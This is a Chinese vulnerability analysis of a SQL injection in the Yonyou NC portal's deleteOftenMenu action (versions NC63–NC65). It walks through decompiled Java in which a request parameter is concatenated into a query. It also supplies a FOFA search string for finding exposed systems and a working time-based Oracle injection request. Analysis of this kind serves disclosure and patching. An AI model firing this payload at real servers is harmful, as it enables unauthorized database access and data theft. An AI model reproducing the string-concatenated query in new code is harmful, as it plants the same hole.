漏洞简介
用友NC系统可利用deleteOftenMenu传入的参数实现SQL注入,从而窃取服务器的敏感信息。
影响版本
NC63、NC633、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
本来是根据官方漏洞通告可知 deleteOftenMenu 为注入点

因此搜索 deleteOftenMenu 方法的实现部分即可定位业务逻辑实现代码
package nc.uap.portal.action;
import java.util.Map;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.crud.CRUDHelper;
import nc.uap.lfw.core.data.PaginationInfo;
import nc.uap.lfw.core.exception.LfwBusinessException;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.core.log.LfwLogger;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.lfw.util.LanguageUtil;
import nc.uap.portal.vo.PtRegularItemVO;
import nc.vo.ml.NCLangRes4VoTransl;
import uap.lfw.core.ml.LfwResBundle;
@Servlet(
path = "/deleteMenu"
)
public class DeleteOftenMenuAction extends BaseAction {
public DeleteOftenMenuAction() {
}
@Action
public void deleteOftenMenu() {
String pk = this.request.getParameter("pk");
String pk_user = LfwRuntimeEnvironment.getLfwSessionBean().getPk_user();
try {
PtRegularItemVO[] vos = (PtRegularItemVO[])CRUDHelper.getCRUDService().queryVOs("pk_user='" + pk_user + "' and pk_funcnode='" + pk + "'", PtRegularItemVO.class, (PaginationInfo)null, (String)null, (Map)null);
String res = "";
StringBuffer jstip = new StringBuffer();
if (vos != null && vos.length > 0) {
CRUDHelper.getCRUDService().deleteVo(vos[0]);
res = LfwResBundle.getInstance().getStrByID("pmng", "MainViewController-000014");
jstip.append("if(parent){parent.modRegMenu('" + pk + "');parent.showMessageDialog('").append(res).append("');}");
} else {
res = LanguageUtil.getString("pserver", "DeleteOftenMenuAction-000002");
jstip.append("if(parent)parent.showMessageDialog('").append(res).append("');");
}
this.addExecScript(jstip.toString());
} catch (LfwBusinessException e) {
LfwLogger.error(e.getMessage(), e);
throw new LfwRuntimeException(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "DeleteOftenMenuAction-000000"), e);
}
}
}
pk 直接拼接进SQL语句后,带入 queryVOs 函数,其实现逻辑如下
public <M extends SuperVO> M[] queryVOs(String sql, Class<M> clazz, PaginationInfo pg, String orderBy, Map<String, Object> extMap) throws LfwBusinessException {
return (M[])(((ILfwQueryService)ServiceLocator.getService(ILfwQueryService.class)).queryVOs(sql, clazz, pg, orderBy, extMap));
}
public <T extends SuperVO> T[] queryVOs(String sql, Class<T> clazz, PaginationInfo pg, String orderBy, Map<String, Object> extMap) throws LfwBusinessException {
ResultSetProcessor rp = null;
PersistenceManager pm = null;
SuperVO vo;
try {
pm = PersistenceManager.getInstance();
JdbcSession ses = pm.getJdbcSession();
if (!sql.trim().toLowerCase().startsWith("select ")) {
vo = (SuperVO)LfwClassUtil.newInstance(clazz);
String table = vo.getTableName();
if (sql.indexOf(".") != -1) {
String prez = sql.substring(0, sql.indexOf("."));
table = table + " " + prez;
}
Map<String, Integer> types = this.getColmnTypes(vo.getTableName(), ses);
sql = SQLHelper.getSelectSQL(table, this.getTableFields(vo, types)) + " " + "where" + " " + sql;
}
ResultSetProcessor var17 = new BeanListProcessor(clazz);
vo = this.queryVOByPinfo(ses, sql, orderBy, (SQLParameter)null, pg, clazz, pm, var17);
} catch (DbException e) {
Logger.error(e.getMessage(), e);
throw new LfwBusinessException(e.getMessage());
} finally {
if (pm != null) {
pm.release();
}
}
return (T[])vo;
}
经过 getSelectSQL 处理带入 queryVOByPinfo,getSelectSQL 实现如下
public static String getSelectSQL(String tableName, String[] fields) {
StringBuffer sql = new StringBuffer();
if (fields == null) {
sql.append("SELECT * FROM " + tableName);
} else {
sql.append("SELECT ");
for(int i = 0; i < fields.length; ++i) {
sql.append(fields[i] + ",");
}
sql.setLength(sql.length() - 1);
sql.append(" FROM " + tableName);
}
return sql.toString();
}
queryVOByPinfo 实现如下
private <T extends SuperVO> T[] queryVOByPinfo(JdbcSession ses, String sql, String orderByPart, SQLParameter param, PaginationInfo pg, Class voclass, PersistenceManager pm, ResultSetProcessor rp) throws DbException {
StringBuffer tempSql = new StringBuffer(sql);
if (pg != null && pg.getPageSize() != -1) {
if (pg.isRecalc()) {
String countSql = this.getCountSql(sql);
Map obj = (Map)ses.executeQuery(countSql, param, new MapProcessor());
int recordsCount = (Integer)obj.get("c");
pg.setRecordsCount(recordsCount);
}
int index = pg.getPageIndex();
int lastPage = pg.getPageCount() - 1;
if (index > lastPage) {
if (!pg.isProcessLastpage()) {
List<T> temp = new ArrayList(0);
return (T[])(temp.toArray((SuperVO[])Array.newInstance(voclass, 0)));
}
index = lastPage;
pg.setPageIndex(lastPage);
}
if (orderByPart != null && !"".equals(orderByPart)) {
if (!orderByPart.trim().toLowerCase().startsWith("order ")) {
tempSql.append(" order by ");
}
tempSql.append(" ").append(orderByPart);
}
LimitSQLBuilder builder = SQLBuilderFactory.getInstance().createLimitSQLBuilder(pm.getDBType());
int pageSize = pg.getPageSize();
sql = builder.build(tempSql.toString(), index + 1, pageSize);
Object list = ses.executeQuery(sql, param, rp);
return (T[])(((List)list).toArray(Array.newInstance(voclass, 0)));
} else {
if (orderByPart != null && !"".equals(orderByPart)) {
if (!orderByPart.trim().toLowerCase().startsWith("order ")) {
tempSql.append(" order by ");
}
tempSql.append(" ").append(orderByPart);
}
Object list = ses.executeQuery(tempSql.toString(), param, rp);
return (T[])(((List)list).toArray(Array.newInstance(voclass, 0)));
}
}
最终调用 executeQuery 执行SQL语句,造成SQL注入漏洞。
漏洞复现
同样因为存在 LfwRuntimeEnvironment.getLfwSessionBean() ,漏洞利用需要登录权限
GET /portal/pt/deleteMenu/deleteOftenMenu?pageId=login&pk=1'AND+1=dbms_pipe.receive_message('RDS', 6)-- HTTP/1.0
Host: nc65.mrxn.net
Cookie: JSESSIONID=xx.server
参考
https://security.yonyou.com/#/noticeInfo?id=637


